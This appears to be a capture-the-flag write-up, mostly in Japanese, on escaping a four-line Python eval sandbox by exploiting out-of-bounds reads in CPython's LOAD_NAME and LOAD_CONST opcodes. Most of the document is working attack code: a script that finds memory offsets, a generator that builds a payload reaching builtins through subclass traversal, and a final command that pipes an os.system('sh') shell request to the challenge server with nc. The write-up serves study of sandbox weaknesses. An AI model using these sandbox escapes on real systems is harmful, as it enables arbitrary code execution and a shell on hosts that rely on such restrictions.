LOAD_NAME / LOAD_CONST opcode OOB Read

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TL;DR

LOAD_NAME / LOAD_CONST opcodeのOOBリード機能を使用して、メモリ内のいくつかのシンボルを取得できます。これは、(a, b, c, ... 数百のシンボル ..., __getattribute__) if [] else [].__getattribute__(...)のようなトリックを使用して、取得したいシンボル（関数名など）を得ることを意味します。

その後、エクスプロイトを作成します。

概要

ソースコードは非常に短く、わずか4行しか含まれていません！

source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234

任意のPythonコードを入力できますが、それはPythonコードオブジェクトにコンパイルされます。しかし、そのコードオブジェクトのco_constsとco_namesは、evalがそのコードオブジェクトを実行する前に空のタプルに置き換えられます。

このようにして、すべての式に定数（例：数値、文字列など）や名前（例：変数、関数）が含まれている場合、最終的にセグメンテーションフォルトを引き起こす可能性があります。

Out of Bound Read

セグフォルトはどのように発生するのでしょうか？

簡単な例から始めましょう。[a, b, c]は次のバイトコードにコンパイルされる可能性があります。

1           0 LOAD_NAME                0 (a)
2 LOAD_NAME                1 (b)
4 LOAD_NAME                2 (c)
6 BUILD_LIST               3
8 RETURN_VALUE12345

しかし、co_names が空のタプルになった場合はどうなるでしょうか？ LOAD_NAME 2 オペコードはまだ実行され、そのメモリアドレスから値を読み取ろうとします。はい、これは境界外読み取りの「機能」です。

解決策の核心概念はシンプルです。CPythonのいくつかのオペコード、例えば LOAD_NAME と LOAD_CONST は境界外読み取りに対して脆弱です（？）。

これらは、consts または names タプルからインデックス oparg のオブジェクトを取得します（これが内部で co_consts と co_names と呼ばれるものです）。以下の短いスニペットを参照して、CPythonが LOAD_CONST オペコードを処理する際に何を行うかを見てみましょう。

case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567

この方法で、任意のメモリオフセットから「名前」を取得するためにOOB機能を使用できます。その名前が何で、オフセットが何であるかを確認するには、LOAD_NAME 0、LOAD_NAME 1 ... LOAD_NAME 99 ... を試し続けてください。そして、オパラグが700を超える何かを見つけることができるかもしれません。もちろん、gdbを使用してメモリレイアウトを確認することもできますが、それがもっと簡単になるとは思いませんか？

エクスプロイトの生成

有用な名前/定数のオフセットを取得したら、そのオフセットから名前/定数をどのように取得し、それを使用するのでしょうか？ここにあなたへのトリックがあります：
オフセット5（LOAD_NAME 5）から__getattribute__の名前を取得できると仮定しましょう（co_names=()）。その後、次のことを行います：

[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234

__getattribute__ と名付ける必要はなく、もっと短い名前や奇妙な名前を付けることができます。

その理由は、バイトコードを見るだけで理解できます:

0 BUILD_LIST               0
2 POP_JUMP_IF_FALSE       20
>>    4 LOAD_NAME                0 (a)
>>    6 LOAD_NAME                1 (b)
>>    8 LOAD_NAME                2 (c)
>>   10 LOAD_NAME                3 (d)
>>   12 LOAD_NAME                4 (e)
>>   14 LOAD_NAME                5 (__getattribute__)
16 BUILD_LIST               6
18 RETURN_VALUE
20 BUILD_LIST               0
>>   22 LOAD_ATTR                5 (__getattribute__)
24 BUILD_LIST               1
26 RETURN_VALUE1234567891011121314

LOAD_ATTRがco_namesから名前を取得することにも注意してください。Pythonは名前が同じであれば同じオフセットから名前をロードしますので、2番目の__getattribute__もoffset=5からロードされます。この機能を利用することで、名前が近くのメモリにある場合に任意の名前を使用できます。

数字を生成するのは簡単なはずです：

• 0: not [[]]
• 1: not []
• 2: (not []) + (not [])
• ...

Exploit Script

長さ制限のため、constsは使用しませんでした。

まず、名前のオフセットを見つけるためのスクリプトを示します。

from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k


if __name__ == '__main__':
n = int(argv[1])

code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]

c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)

ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')

# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132

そして、次は実際のPythonエクスプロイトを生成するためのものです。

import sys
import unicodedata


class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'

# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'


_ = Generator()

names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break

offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}

variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)

for name, offset in offsets.items():
names[offset] = name

for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var


source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')

print(f"{len(source) = }", file=sys.stderr)
print(source)

# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273

基本的に、__dir__ メソッドから取得した文字列に対して以下のことを行います:

getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())